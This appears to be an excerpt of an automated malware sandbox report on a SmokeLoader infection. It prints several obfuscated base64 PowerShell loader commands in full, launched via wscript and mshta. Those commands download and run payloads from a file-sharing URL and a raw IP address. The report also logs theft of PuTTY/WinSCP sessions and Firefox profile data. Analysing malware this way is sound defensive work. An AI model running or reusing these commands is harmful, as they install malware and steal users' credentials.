invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jfhvy0vsn21mywmgicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagqwrelxrzcgugicagicagicagicagicagicagicagicagicagicagicatbwvnymvszevgaw5pvelvtiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxnt04ilcagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbkbkhytg8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagamxxtwh0lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagiewsdwludcagicagicagicagicagicagicagicagicagicagicagifved1jcwentleludfb0ciagicagicagicagicagicagicagicagicagicagicagihffs3zxktsnicagicagicagicagicagicagicagicagicagicagicaglw5bbuugicagicagicagicagicagicagicagicagicagicagicaizhpuayigicagicagicagicagicagicagicagicagicagicagicattmfnzvnqqunficagicagicagicagicagicagicagicagicagicagicagbhhzqnrttvb2icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicryb2nfujdtzmfjojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3mi40nc4xnzgvntmvc2vlbxlizxn0bmv0d29ya3doawnoz2l2zwjlc3r0agluz3nlbnrpcmvsawzld2l0ag1llnrjriisiirftny6qvbqrefuqvxzzwvtewjlc3ruzxr3b3jrd2hpy2hnaxzlymvzdhroaw5nc2vudglyzwxpzmv3axrolnziuyismcwwkttzvefydc1zbevfucgzkttjrvggicagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzw15ymvzdg5ldhdvcmt3agljagdpdmvizxn0dghpbmdzzw50axjlbglmzxdpdggudmjtig=='+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdzzvlpbwfnzvunkydybca9ifb1swh0jysndhbzjysnoicrjy8vmtaxny5mawxlbwfpbc5jb20vyxbpl2zpbccrj2uvz2v0p2zpbgvrzxk9mkfhx2jxbzlszxu0nxq3qluxa1znc2q5cfq5cgdtu2x2u3qnkydhcm5usunmrmhtvetqm0xdnlnrdeljt2nfvdm1dyzwa192awq9zmq0zjyxngjimja5yzyyyze3mza5nduxnzzhmdkwngyguhvjo3nlwxdlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xjysnzwjdbgllbnq7c2vzaw1hz2vcexrlcya9ihnlwxdlyknsawvujysndc5eb3dubg9hzerhdgeoc2vzaw1hz2vvcmwpo3nlwwltywcnkydlvgv4dca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkhnlwwltywdlqnl0jysnzxmpo3nlwxn0yxj0rmxhzya9ifb1stw8qkftrty0xycrj1nuqvjupj5qduk7c2vzzw5kricrj2xhzya9ifb1sscrjzw8qkftrty0x0vord4+uhvjo3nlwxn0yxj0sw5kzxggpsbzzvlpbwfnzvrlehqusw5kzxhpzignkydzzvlzdgfydezsywcpo3nlwwvuzccrj0luzgv4id0gc2vzaw1hz2vuzxh0lkluzgv4t2yoc2vzzw5krmxhzyk7cycrj2vzc3rhcnrjbmrlecatz2ugmcatyw5kihnlwwvuzeluzgv4ic1ndcbzzvlzdgfydeluzgv4o3mnkydlwxn0yxj0sw5kzxggkz0gc2vzc3rhcnrgbgfnlkxlbmd0adtzzvliyxnlnjrmzw5ndgggpsbzzvllbmrjbmrlecatihnlwxn0yxj0sw5kzxg7c2vzymfzzty0q29tbwfuzca9jysnihnljysnwwltywcnkydlvccrj2v4dc5tdwjzdhjpbmcoc2vzc3rhcnrjbmrlecwnkycgc2vzymfzzty0tgvuz3rokttzzvliyxnlnjrszxzlcnnlzca9ic1qb2luichzzvliyxnlnjrdb21tyw5kjysnllrvq2hhckfycmf5kckgmnbpiezvckunkydhy2gtt2jqzwn0ihsgc2vzxyb9kvstms4ulshzzvknkydiyxnlnjrdb21tyw5klkxlbmd0acldo3nlwscrj2nvbw1hbmrcexrlcya9ifttexn0zw0uqycrj29udmvydf06okzyb21cyxnlnjrtdhjpbmcojysnc2vzymfzzty0umv2zxjzzwqpo3nlwscrj2xvywrlzefzc2vtymx5id0gw1n5c3rlbs5szwzsjysnzwn0aw9ulkfzc2vtymx5xscrjzo6tg9hzchzzvljb21tyw5kqnl0zxmpo3nlwxzhau1ldghvzca9ifsnkydkbmxpyi5jty5ib21lxs5hzxrnzxrob2qouhvjvkfjuhvjkttzzvl2ywlnzscrj3rob2qusw52bycrj2tlkhnlww51bgwsieaouhvjdhh0llrhukzgulcvmzuvodcxljq0lji3ms43mdevlycrjzpwdhrouhvjlcbqdulkzxnhdgl2ywrvuhvjlcbqdulkjysnzxnhdgl2ywrvuhvjlcbqdscrj0lkzxnhdgl2ywrvuhvjlcbqdulhc3buzxrfy29tcglsjysnzxjqduksifb1swrlc2f0axzhzg9qduksiccrj1b1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkbycrj1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkb1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1stfqduksuhvjzgvzyxrpdmfkb1b1sskpoycplnjfugxhq0uoj1b1sscsw1n0cklur11bq0hbul0zoskuckvqbgfdrsgnmnbpjywnfccplnjfugxhq0uoj3nlwscsjyqnkxwgliaokgdwiccqtwrykicplm5bbuvbmywxmswyxs1qt0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('seyimageu'+'rl = puiht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2aa_bwo9reu45t7bu1kvgsd9pt9pgsslvst'+'grnticffhmtkj3lc6sqticoc_t35w&pk_vid=fd4f614bb209c62c1730945176a0904f pui;seywebclient = new-object system.net.w'+'ebclient;seyimagebytes = seywebclien'+'t.downloaddata(seyimageurl);seyimag'+'etext = [system.text.encoding]::utf8.getstring(seyimagebyt'+'es);seystartflag = pui<<base64_'+'start>>pui;seyendf'+'lag = pui'+'<<base64_end>>pui;seystartindex = seyimagetext.indexof('+'seystartflag);seyend'+'index = seyimagetext.indexof(seyendflag);s'+'eystartindex -ge 0 -and seyendindex -gt seystartindex;s'+'eystartindex += seystartflag.length;seybase64length = seyendindex - seystartindex;seybase64command ='+' se'+'yimag'+'et'+'ext.substring(seystartindex,'+' seybase64length);seybase64reversed = -join (seybase64command'+'.tochararray() 2po fore'+'ach-object { sey_ })[-1..-(sey'+'base64command.length)];sey'+'commandbytes = [system.c'+'onvert]::frombase64string('+'seybase64reversed);sey'+'loadedassembly = [system.refl'+'ection.assembly]'+'::load(seycommandbytes);seyvaimethod = ['+'dnlib.io.home].getmethod(puivaipui);seyvaime'+'thod.invo'+'ke(seynull, @(puitxt.tgrffrw/35/871.44.271.701//'+':ptthpui, puidesativadopui, puid'+'esativadopui, pu'+'idesativadopui, puiaspnet_compil'+'erpui, puidesativadopui, '+'puidesativadopui,puidesativado'+'pui,puidesativadopui,puidesativadopui,puidesativadopui,puidesativadopui,pui1pui,puidesativadopui));').replace('pui',[string][char]39).replace('2po','\|').replace('sey','$')\| . ((gv 'mdr').name[3,11,2]-join'')"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]34+'jfhvy0vsn21mywmgicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagqwrelxrzcgugicagicagicagicagicagicagicagicagicagicagicatbwvnymvszevgaw5pvelvtiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcjvcmxnt04ilcagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbkbkhytg8sc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagamxxtwh0lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagiewsdwludcagicagicagicagicagicagicagicagicagicagicagifved1jcwentleludfb0ciagicagicagicagicagicagicagicagicagicagicagihffs3zxktsnicagicagicagicagicagicagicagicagicagicagicaglw5bbuugicagicagicagicagicagicagicagicagicagicagicaizhpuayigicagicagicagicagicagicagicagicagicagicagicattmfnzvnqqunficagicagicagicagicagicagicagicagicagicagicagbhhzqnrttvb2icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicryb2nfujdtzmfjojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmta3lje3mi40nc4xnzgvntmvc2vlbxlizxn0bmv0d29ya3doawnoz2l2zwjlc3r0agluz3nlbnrpcmvsawzld2l0ag1llnrjriisiirftny6qvbqrefuqvxzzwvtewjlc3ruzxr3b3jrd2hpy2hnaxzlymvzdhroaw5nc2vudglyzwxpzmv3axrolnziuyismcwwkttzvefydc1zbevfucgzkttjrvggicagicagicagicagicagicagicagicagicagicagicaijgvuvjpbufbeqvrbxhnlzw15ymvzdg5ldhdvcmt3agljagdpdmvizxn0dghpbmdzzw50axjlbglmzxdpdggudmjtig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdzzvlpbwfnzvunkydybca9ifb1swh0jysndhbzjysnoicrjy8vmtaxny5mawxlbwfpbc5jb20vyxbpl2zpbccrj2uvz2v0p2zpbgvrzxk9mkfhx2jxbzlszxu0nxq3qluxa1znc2q5cfq5cgdtu2x2u3qnkydhcm5usunmrmhtvetqm0xdnlnrdeljt2nfvdm1dyzwa192awq9zmq0zjyxngjimja5yzyyyze3mza5nduxnzzhmdkwngyguhvjo3nlwxdlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xjysnzwjdbgllbnq7c2vzaw1hz2vcexrlcya9ihnlwxdlyknsawvujysndc5eb3dubg9hzerhdgeoc2vzaw1hz2vvcmwpo3nlwwltywcnkydlvgv4dca9ifttexn0zw0uvgv4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5nkhnlwwltywdlqnl0jysnzxmpo3nlwxn0yxj0rmxhzya9ifb1stw8qkftrty0xycrj1nuqvjupj5qduk7c2vzzw5kricrj2xhzya9ifb1sscrjzw8qkftrty0x0vord4+uhvjo3nlwxn0yxj0sw5kzxggpsbzzvlpbwfnzvrlehqusw5kzxhpzignkydzzvlzdgfydezsywcpo3nlwwvuzccrj0luzgv4id0gc2vzaw1hz2vuzxh0lkluzgv4t2yoc2vzzw5krmxhzyk7cycrj2vzc3rhcnrjbmrlecatz2ugmcatyw5kihnlwwvuzeluzgv4ic1ndcbzzvlzdgfydeluzgv4o3mnkydlwxn0yxj0sw5kzxggkz0gc2vzc3rhcnrgbgfnlkxlbmd0adtzzvliyxnlnjrmzw5ndgggpsbzzvllbmrjbmrlecatihnlwxn0yxj0sw5kzxg7c2vzymfzzty0q29tbwfuzca9jysnihnljysnwwltywcnkydlvccrj2v4dc5tdwjzdhjpbmcoc2vzc3rhcnrjbmrlecwnkycgc2vzymfzzty0tgvuz3rokttzzvliyxnlnjrszxzlcnnlzca9ic1qb2luichzzvliyxnlnjrdb21tyw5kjysnllrvq2hhckfycmf5kckgmnbpiezvckunkydhy2gtt2jqzwn0ihsgc2vzxyb9kvstms4ulshzzvknkydiyxnlnjrdb21tyw5klkxlbmd0acldo3nlwscrj2nvbw1hbmrcexrlcya9ifttexn0zw0uqycrj29udmvydf06okzyb21cyxnlnjrtdhjpbmcojysnc2vzymfzzty0umv2zxjzzwqpo3nlwscrj2xvywrlzefzc2vtymx5id0gw1n5c3rlbs5szwzsjysnzwn0aw9ulkfzc2vtymx5xscrjzo6tg9hzchzzvljb21tyw5kqnl0zxmpo3nlwxzhau1ldghvzca9ifsnkydkbmxpyi5jty5ib21lxs5hzxrnzxrob2qouhvjvkfjuhvjkttzzvl2ywlnzscrj3rob2qusw52bycrj2tlkhnlww51bgwsieaouhvjdhh0llrhukzgulcvmzuvodcxljq0lji3ms43mdevlycrjzpwdhrouhvjlcbqdulkzxnhdgl2ywrvuhvjlcbqdulkjysnzxnhdgl2ywrvuhvjlcbqdscrj0lkzxnhdgl2ywrvuhvjlcbqdulhc3buzxrfy29tcglsjysnzxjqduksifb1swrlc2f0axzhzg9qduksiccrj1b1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkbycrj1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1swrlc2f0axzhzg9qduksuhvjzgvzyxrpdmfkb1b1ssxqdulkzxnhdgl2ywrvuhvjlfb1stfqduksuhvjzgvzyxrpdmfkb1b1sskpoycplnjfugxhq0uoj1b1sscsw1n0cklur11bq0hbul0zoskuckvqbgfdrsgnmnbpjywnfccplnjfugxhq0uoj3nlwscsjyqnkxwgliaokgdwiccqtwrykicplm5bbuvbmywxmswyxs1qt0lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('seyimageu'+'rl = puiht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2aa_bwo9reu45t7bu1kvgsd9pt9pgsslvst'+'grnticffhmtkj3lc6sqticoc_t35w&pk_vid=fd4f614bb209c62c1730945176a0904f pui;seywebclient = new-object system.net.w'+'ebclient;seyimagebytes = seywebclien'+'t.downloaddata(seyimageurl);seyimag'+'etext = [system.text.encoding]::utf8.getstring(seyimagebyt'+'es);seystartflag = pui<<base64_'+'start>>pui;seyendf'+'lag = pui'+'<<base64_end>>pui;seystartindex = seyimagetext.indexof('+'seystartflag);seyend'+'index = seyimagetext.indexof(seyendflag);s'+'eystartindex -ge 0 -and seyendindex -gt seystartindex;s'+'eystartindex += seystartflag.length;seybase64length = seyendindex - seystartindex;seybase64command ='+' se'+'yimag'+'et'+'ext.substring(seystartindex,'+' seybase64length);seybase64reversed = -join (seybase64command'+'.tochararray() 2po fore'+'ach-object { sey_ })[-1..-(sey'+'base64command.length)];sey'+'commandbytes = [system.c'+'onvert]::frombase64string('+'seybase64reversed);sey'+'loadedassembly = [system.refl'+'ection.assembly]'+'::load(seycommandbytes);seyvaimethod = ['+'dnlib.io.home].getmethod(puivaipui);seyvaime'+'thod.invo'+'ke(seynull, @(puitxt.tgrffrw/35/871.44.271.701//'+':ptthpui, puidesativadopui, puid'+'esativadopui, pu'+'idesativadopui, puiaspnet_compil'+'erpui, puidesativadopui, '+'puidesativadopui,puidesativado'+'pui,puidesativadopui,puidesativadopui,puidesativadopui,puidesativadopui,pui1pui,puidesativadopui));').replace('pui',[string][char]39).replace('2po','\|').replace('sey','$')\| . ((gv 'mdr').name[3,11,2]-join'')"

Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman-
Source: explorer.exe, 0000001F.00000000.521478069.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000001F.00000000.521478069.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000001F.00000000.521478069.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_001755EB cpuid

38_2_001755EB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\vtjrhji	Queries volume information: C:\Users\user\AppData\Roaming\vtjrhji VolumeInformation

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00122112 GetSystemTimeAsFileTime,_alldiv,wsprintfA,

38_2_00122112

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 38_2_00122198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

38_2_00122198

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 30.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\moz-safe-about+home\.metadata-v2
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\xulstore.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\datareporting\state.json
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\compatibility.ini
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\content-prefs.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\storage\permanent\chrome\.metadata-v2
